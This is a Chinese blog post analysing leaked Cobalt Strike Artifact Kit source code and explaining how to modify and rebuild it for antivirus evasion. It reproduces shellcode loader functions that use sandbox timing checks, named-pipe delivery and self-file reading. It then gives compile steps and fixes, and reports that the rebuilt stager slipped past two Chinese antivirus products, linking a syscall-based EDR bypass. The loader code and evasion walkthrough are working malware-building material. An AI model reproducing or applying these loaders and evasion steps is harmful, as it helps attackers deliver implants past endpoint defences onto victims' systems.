从Artifact Kit 看 Cobalt Strike的免杀思路

admin 2021年9月1日21:47:05评论686 views字数 5302阅读17分40秒阅读模式

前段时间从vt下载到了一份源码,据说是cs的beacon源码,但研究以后发现实际上是泄露的Artifact Kit组件的源码。虽然当前Cobalt Strike使用Artifact Kit生成的Artifact几乎被所有主流杀软查杀,但是可以从通过分析源码中,我们可以学到Cobalt Strike生成artifact的原理和一些免杀思路。

Artifact Kit 介绍

Artifact Kit 是Cobalt Strike使用的免杀组件,Artifact Kit 是一个制作免杀 EXE、DLL 和 Service EXE 的源代码框架,平时直接在Cobalt Strike中生成的stager都是使用了Artifact Kit生成的。其中一种技术[参见:Artifact Kit 中的 src-common/bypass-pipe.c]生成可执行文件和 DLL,它们通过命名管道为自己提供 shellcode。如果防病毒沙箱不能模拟命名管道,它将找不到已知的恶意 shellcode。

Cobalt Strike在以下地方使用Artifact Kit:

  • Attacks -> Packages -> Windows Executable
  • Attacks -> Packages -> Windows Executable (S)
  • Attacks -> Web Drive-by -> Scripted Web Delivery (bitsadmin and exe)
  • Beacon's 'elevate svc-exe' command
  • Beacon's 'jump psexec' and 'jump psexec64' commands

Artifact Kit 文件功能

在 Cobalt Strike 的 Help --> Arsenal 处可下载 Artifact Kit。但是需要License Key才能下载,正好手里有从vt上泄露的源码,首先看下目录:

从Artifact Kit 看 Cobalt Strike的免杀思路

  • src-common:目录下存放着Artifact Kit的源码。
  • src-main:存放着编译dll用的源码。
  • README.txt:里面是介绍和使用方法。
  • build.sh:里面是交叉编译的生成二进制命令,在Linux 系统上运行此脚本,使用mingw-w64来为Windows 交叉编译器构建默认的Artifact工具集。
  • script.example:是默认的cna脚本。
  • dist-peek:存放二进制文件,对应使用GetTickCount检查时间的方式对抗沙箱。
  • dist-pipe:存放二进制文件,使用管道读取的方式对抗沙箱,Cobalt Strike默认使用这种方法生成artifact。
  • dist-readfile:存放二进制文件,打开当前文件进行读取。跳到shellcode的存储位置,读取并执行。
  • dist-template:存放二进制文件,模板文件,直接内存加载shellcode,没有使用免杀技术。

Artifact Kit 源码分析

bypass-peek.c

代码如下,可以看到代码使用了两次GetTickCount(),中间有Sleep(650),然后计算时间是否正确,主要通过这种方式来对抗沙盒的调试。

#include <windows.h>
#include <stdio.h>
#include "patch.h"

void start(HINSTANCE mhandle) {
phear * payload = (phear *)data;
char * buffer;

/* post and retrieve a message... to see if we're in an A/V sandbox or not. */
MSG msg;
DWORD tc;
PostThreadMessage(GetCurrentThreadId(), WM_USER + 2, 23, 42);
if (!PeekMessage(&msg, (HWND)-1, 0, 0, 0))
return;

if (msg.message != WM_USER+2 || msg.wParam != 23 || msg.lParam != 42)
return;

/* check timing of A/V sandbox... */
tc = GetTickCount();
Sleep(650);

if (((GetTickCount() - tc) / 300) != 2)
return;

/* copy our payload into its own buffer... necessary b/c spawn modifies it */
buffer = (char *)malloc(payload->length);
memcpy(buffer, payload->payload, payload->length);

/* execute our payload */
spawn(buffer, payload->length, payload->key);

/* clean up after ourselves */
free(buffer);
}

bypass-pipe.c

Cobalt Strike默认的生成方式,使用了命名管道读取方法,管道格式为"%c%c%c%c%c%c%c%c%cMSSE-%d-server",使用ReadFile读取shellcode然后解密加载。

void server(char * data, int length) {
 DWORD  wrote = 0;
 HANDLE pipe = CreateNamedPipeA(pipename, PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE, 1, 0, 0, 0, NULL);

if (pipe == NULL || pipe == INVALID_HANDLE_VALUE)
return;

BOOL result = ConnectNamedPipe(pipe, NULL);
if (!result)
return;

while (length > 0) {
result = WriteFile(pipe, data, length, &wrote, NULL);
if (!result)
break;

data   += wrote;
length -= wrote;
}
CloseHandle(pipe);
}

BOOL client(char * buffer, int length) {
DWORD  read = 0;
HANDLE pipe = CreateFileA(pipename, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (pipe == INVALID_HANDLE_VALUE)
return FALSE;

while (length > 0) {
BOOL result = ReadFile(pipe, buffer, length, &read, NULL);
if (!result)
break;

buffer += read;
length -= read;
}

CloseHandle(pipe);
return TRUE;
}

bypass-readfile.c

通过打开自身读取shellcode的方式,绕过杀软。

void start(HINSTANCE mhandle) {
 phear * payload = (phear *)data;

/* get the name of this file */
char * name = (char *)malloc(sizeof(char) * 2048);
GetModuleFileName(mhandle, name, sizeof(char) * 2048);

/* read in the file and seek to a particular point */
FILE * handle = fopen(name, "rb");

/* seek to the place in the file where our data begins */
fpos_t offset = (fpos_t)payload->offset;
fsetpos(handle, &offset);

/* retrieve and decode the payload 1 byte at a time. */
char * buffer = (char *)malloc(payload->length);
int read = fread((void *)buffer, sizeof(char), payload->length, handle);
fclose(handle);

/* complete the rest of the silly payload */
int x;
for (x = read; x < payload->length; x++) {
buffer[x] = payload->payload[x];
}

/* spawn our thread with the goodies */
spawn(buffer, payload->length, payload->key);
}

Artifact Kit 使用

我是在ubuntu 上做的测试,首先安装mingw-w64

sudo apt-get install mingw-w64

然后运行build.sh,等待编译完成,

从Artifact Kit 看 Cobalt Strike的免杀思路

把生成好的文件夹拷贝出来一份,打开 Cobalt Strike → Script Manager (脚本管理器),并从文件夹中加载 artifact.cna 脚本,以dist-peek举例:

从Artifact Kit 看 Cobalt Strike的免杀思路

然后生成artifact,此时artifact就是以刚才linux编译出的二进制模板和shellcode组合成的:

从Artifact Kit 看 Cobalt Strike的免杀思路

当然如果使用原生的Artifact Kit,肯定会被杀的很惨,我们需要在原有的代码基础上进行修改。

Artifact Kit 修改

第一种方法,README.txt里面提供了添加新方法的方式:

  1. 在src-common中创建一个文件,将其命名为bypass-[your technique here].c
  2. 打开build.sh并在底部为你添加的bypass方式添加一行
  3. 然后用build.sh编译

这样就可以为Cobalt Strike添加新的Artifact生成方法用于绕过杀软。

另一种方法,使用VS编译的方式添加新功能,先创建一个新的项目,功能以bypass-peek.c为例,目录如下图:

从Artifact Kit 看 Cobalt Strike的免杀思路

这时还有些需要修改的地方,bypass-peek.c中start函数改为main函数,然后DATA_SIZE没有被定义,按照build.sh中的32-bit staged artifact生成方法,DATA_SIZE为1024,直接宏定义到patch.h里。

从Artifact Kit 看 Cobalt Strike的免杀思路

然后需要修改的地方是patch.c的第25,26行,遇到了Error E0852 - expression must be a pointer to a complete object type,把 set_key_pointers(void * buffer) 改为 set_key_pointers(char * buffer) 即可。

把patch.c的67行处,添加WaitForSingleObject,目的是为了让主进程等待线程执行完毕,不然程序会直接退出:

 /* spawn a thread with our data */
HANDLE handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&run,ptr, 0, NULL);
WaitForSingleObject(handle, INFINITE);

最后去掉控制台窗口,有两种方法:

  1. 在代码中添加链接指示:
#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" )
  1. 或者在项目属性中配置:
属性--链接器--子系统--subsystem:windows
高级--入口点--mainCRTStartup

把生成的文件和原来的artifact32.exe做替换,然后在CS中生成32-bit staged artifact

从Artifact Kit 看 Cobalt Strike的免杀思路

没有做任何其他功能修改,只是用VS生成的x86 artifact文件正常上线,绕过了火绒和360:

从Artifact Kit 看 Cobalt Strike的免杀思路

也可以配合Syswhispers 工具以系统调用的方式绕过AV/EDR检测,参考下面这篇文章:

https://br-sn.github.io/Implementing-Syscalls-In-The-CobaltStrike-Artifact-Kit/

从Artifact Kit 看 Cobalt Strike的免杀思路

 

本文始发于微信公众号(宽字节安全):从Artifact Kit 看 Cobalt Strike的免杀思路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月1日21:47:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从Artifact Kit 看 Cobalt Strike的免杀思路https://cn-sec.com/archives/408453.html

发表评论

匿名网友 填写信息